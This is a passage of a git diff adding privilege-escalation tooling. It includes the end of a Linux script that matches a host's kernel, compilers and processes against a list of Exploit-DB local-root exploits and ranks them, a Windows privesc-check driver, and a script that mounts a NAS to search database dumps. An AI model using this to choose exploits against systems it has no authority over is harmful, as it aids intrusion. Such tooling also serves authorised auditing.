"exploitdb":"9641", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation":{"minver":"2.4.1", "maxver":"2.6.32", "exploitdb":"9844", "lang":"python", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "'pipe.c' Local Privilege Escalation Vulnerability":{"minver":"2.4.1", "maxver":"2.6.32", "exploitdb":"10018", "lang":"sh", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6.18-20 2009 Local Root Exploit":{"minver":"2.6.18", "maxver":"2.6.20", "exploitdb":"10613", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Apache Spamassassin Milter Plugin Remote Root Command Execution":{"minver":"0", "maxver":"99", "exploitdb":"11662", "lang":"sh", "keywords":{"loc":["proc"], "val":"spamass-milter"}}, + "<= 2.6.34-rc3 ReiserFS xattr Privilege Escalation":{"minver":"0", "maxver":"2.6.34", "exploitdb":"12130", "lang":"python", "keywords":{"loc":["mnt"], "val":"reiser"}}, + "Ubuntu PAM MOTD local root":{"minver":"7", "maxver":"10.04", "exploitdb":"14339", "lang":"sh", "keywords":{"loc":["os"], "val":"ubuntu"}}, + "< 2.6.36-rc1 CAN BCM Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.36", "exploitdb":"14814", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Kernel ia32syscall Emulation Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"15023", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Linux RDS Protocol Local Privilege Escalation":{"minver":"0", "maxver":"2.6.36", "exploitdb":"15285", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "<= 2.6.37 Local Privilege Escalation":{"minver":"0", "maxver":"2.6.37", "exploitdb":"15704", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "< 2.6.37-rc2 ACPI custom_method Privilege Escalation":{"minver":"0", "maxver":"2.6.37", "exploitdb":"15774", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "CAP_SYS_ADMIN to root Exploit":{"minver":"0", "maxver":"99", "exploitdb":"15916", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)":{"minver":"0", "maxver":"99", "exploitdb":"15944", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "< 2.6.36.2 Econet Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.36.2", "exploitdb":"17787", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Sendpage Local Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"19933", "lang":"ruby", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4.18/19 Privileged File Descriptor Resource Exhaustion Vulnerability":{"minver":"2.4.18", "maxver":"2.4.19", "exploitdb":"21598", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (1)":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"22362", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (2)":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"22363", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Samba 2.2.8 Share Local Privilege Elevation Vulnerability":{"minver":"2.2.8", "maxver":"2.2.8", "exploitdb":"23674", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"samba"}}, + "open-time Capability file_ns_capable() - Privilege Escalation Vulnerability":{"minver":"0", "maxver":"99", "exploitdb":"25307", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "open-time Capability file_ns_capable() Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"25450", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, +} + +# variable declaration +os = sysInfo["OS"]["results"][0] +version = sysInfo["KERNEL"]["results"][0].split(" ")[2].split("-")[0] +langs = devTools["TOOLS"]["results"] +procs = getAppProc["PROCS"]["results"] +kernel = str(sysInfo["KERNEL"]["results"][0]) +mount = driveInfo["MOUNT"]["results"] +#pkgs = getAppProc["PKGS"]["results"] # currently not using packages for sploit appicability but my in future + + +# lists to hold ranked, applicable sploits +# note: this is a best-effort, basic ranking designed to help in prioritizing priv escalation exploit checks +# all applicable exploits should be checked and this function could probably use some improvement +avgprob = [] +highprob = [] + +for sploit in sploits: + lang = 0 # use to rank applicability of sploits + keyword = sploits[sploit]["keywords"]["val"] + sploitout = sploit + " || " + "http://www.exploit-db.com/exploits/" + sploits[sploit]["exploitdb"] + " || " + "Language=" + sploits[sploit]["lang"] + # first check for kernell applicability + if (version >= sploits[sploit]["minver"]) and (version <= sploits[sploit]["maxver"]): + # next check language applicability + if (sploits[sploit]["lang"] == "c") and (("gcc" in str(langs)) or ("cc" in str(langs))): + lang = 1 # language found, increase applicability score + elif sploits[sploit]["lang"] == "sh": + lang = 1 # language found, increase applicability score + elif (sploits[sploit]["lang"] in str(langs)): + lang = 1 # language found, increase applicability score + if lang == 0: + sploitout = sploitout + "**" # added mark if language not detected on system + # next check keyword matches to determine if some sploits have a higher probability of success + for loc in sploits[sploit]["keywords"]["loc"]: + if loc == "proc": + for proc in procs: + if keyword in proc: + highprob.append(sploitout) # if sploit is associated with a running process consider it a higher probability/applicability + break + break + elif loc == "os": + if (keyword in os) or (keyword in kernel): + highprob.append(sploitout) # if sploit is specifically applicable to this OS consider it a higher probability/applicability + break + elif loc == "mnt": + if keyword in mount: + highprob.append(sploitout) # if sploit is specifically applicable to a mounted file system consider it a higher probability/applicability + break + else: + avgprob.append(sploitout) # otherwise, consider average probability/applicability based only on kernel version + +print " Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!" +print + +print " The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system" +for exploit in highprob: + print " - " + exploit +print + +print " The following exploits are applicable to this kernel version and should be investigated as well" +for exploit in avgprob: + print " - " + exploit + +print +print "Finished" +print bigline diff --git a/privesc/windows-privesc-check2.exe b/privesc/windows-privesc-check2.exe new file mode 100755 index 0000000..b71f4de --- /dev/null +++ b/privesc/windows-privesc-check2.exe Binary files differ diff --git a/privesc/windows_privesc_check.py b/privesc/windows_privesc_check.py new file mode 100755 index 0000000..0a26288 --- /dev/null +++ b/privesc/windows_privesc_check.py @@ -0,0 +1,76 @@ +from wpc.parseOptions import parseOptions +from wpc.report.report import report +from wpc.audit.dump import dump +from wpc.audit.dumptab import dumptab +from wpc.audit.audit import audit +import datetime +import time +import wpc.utils +import sys + +# ------------------------ Main Code Starts Here --------------------- + +# Parse command line arguments +options = parseOptions() + +# Initialise WPC +# TODO be able to enable/disable caching +wpc.utils.init(options) + +# Object to hold all the issues we find +report = report() +wpc.utils.populate_scaninfo(report) +issues = report.get_issues() + +if options.pyshell_mode: + wpc.utils.printline("Python Shell - to exit do CTRL-z or type exit()") + print + import code + code.interact(local=dict(globals(), **locals())) + sys.exit() + +wpc.utils.dump_options(options) + +wpc.utils.printline("Starting Audit at %s" % datetime.datetime.strftime(datetime.datetime.now(), '%Y-%m-%d %H:%M:%S')) +start_time = time.time() + +# Dump raw data if required +if options.dump_mode: + d = dump(options) + d.run() + +# Dump raw data if required +if options.dumptab_mode: + d = dumptab(options, report) + d.run() + +# Identify security issues +if options.audit_mode: + a = audit(options, report) + a.run() + + if options.report_file_stem: + wpc.utils.printline("Audit Complete at %s" % datetime.datetime.strftime(datetime.datetime.now(), '%Y-%m-%d %H:%M:%S')) + print + print "[+] Runtime: %.1f seconds" % int(time.time() - start_time) + print + + filename = "%s.xml" % options.report_file_stem + print "[+] Saving report file %s" % filename + f = open(filename, 'w') + f.write(report.as_xml_string()) + f.close() + + filename = "%s.txt" % options.report_file_stem + print "[+] Saving report file %s" % filename + f = open(filename, 'w') + f.write(report.as_text()) + f.close() + + filename = "%s.html" % options.report_file_stem + print "[+] Saving report file %s" % filename + f = open(filename, 'w') + f.write(report.as_html()) + f.close() + + #wpc.conf.cache.print_stats() diff --git a/search_dump.sh b/search_dump.sh new file mode 100755 index 0000000..70cab9a --- /dev/null +++ b/search_dump.sh @@ -0,0 +1,26 @@ +#!/bin/bash + +TERM=$1 +RNDNO=$RANDOM +CURRDIR=$PWD + +if [[ $# -eq 0 ]] ; then + echo 'Usage: ./search_dump.sh ' + exit 1 +fi + +echo Current: $CURRDIR +echo Creating: /mnt/$RNDNO +mkdir /mnt/$RNDNO + +echo Mounting NAS +mount -t cifs //192.168.0.13/NAS /mnt/$RNDNO -o username=[username],password=[password],vers=1.0 +cd /mnt/$RNDNO/DB_Dumps/bigDB + +echo Searching for $TERM in $PWD \(Est. 1hr\)... +rg "$TERM" + +echo Unmounting and removing: /mnt/$RNDNO +cd $CURRDIR +umount /mnt/$RNDNO +rmdir /mnt/$RNDNO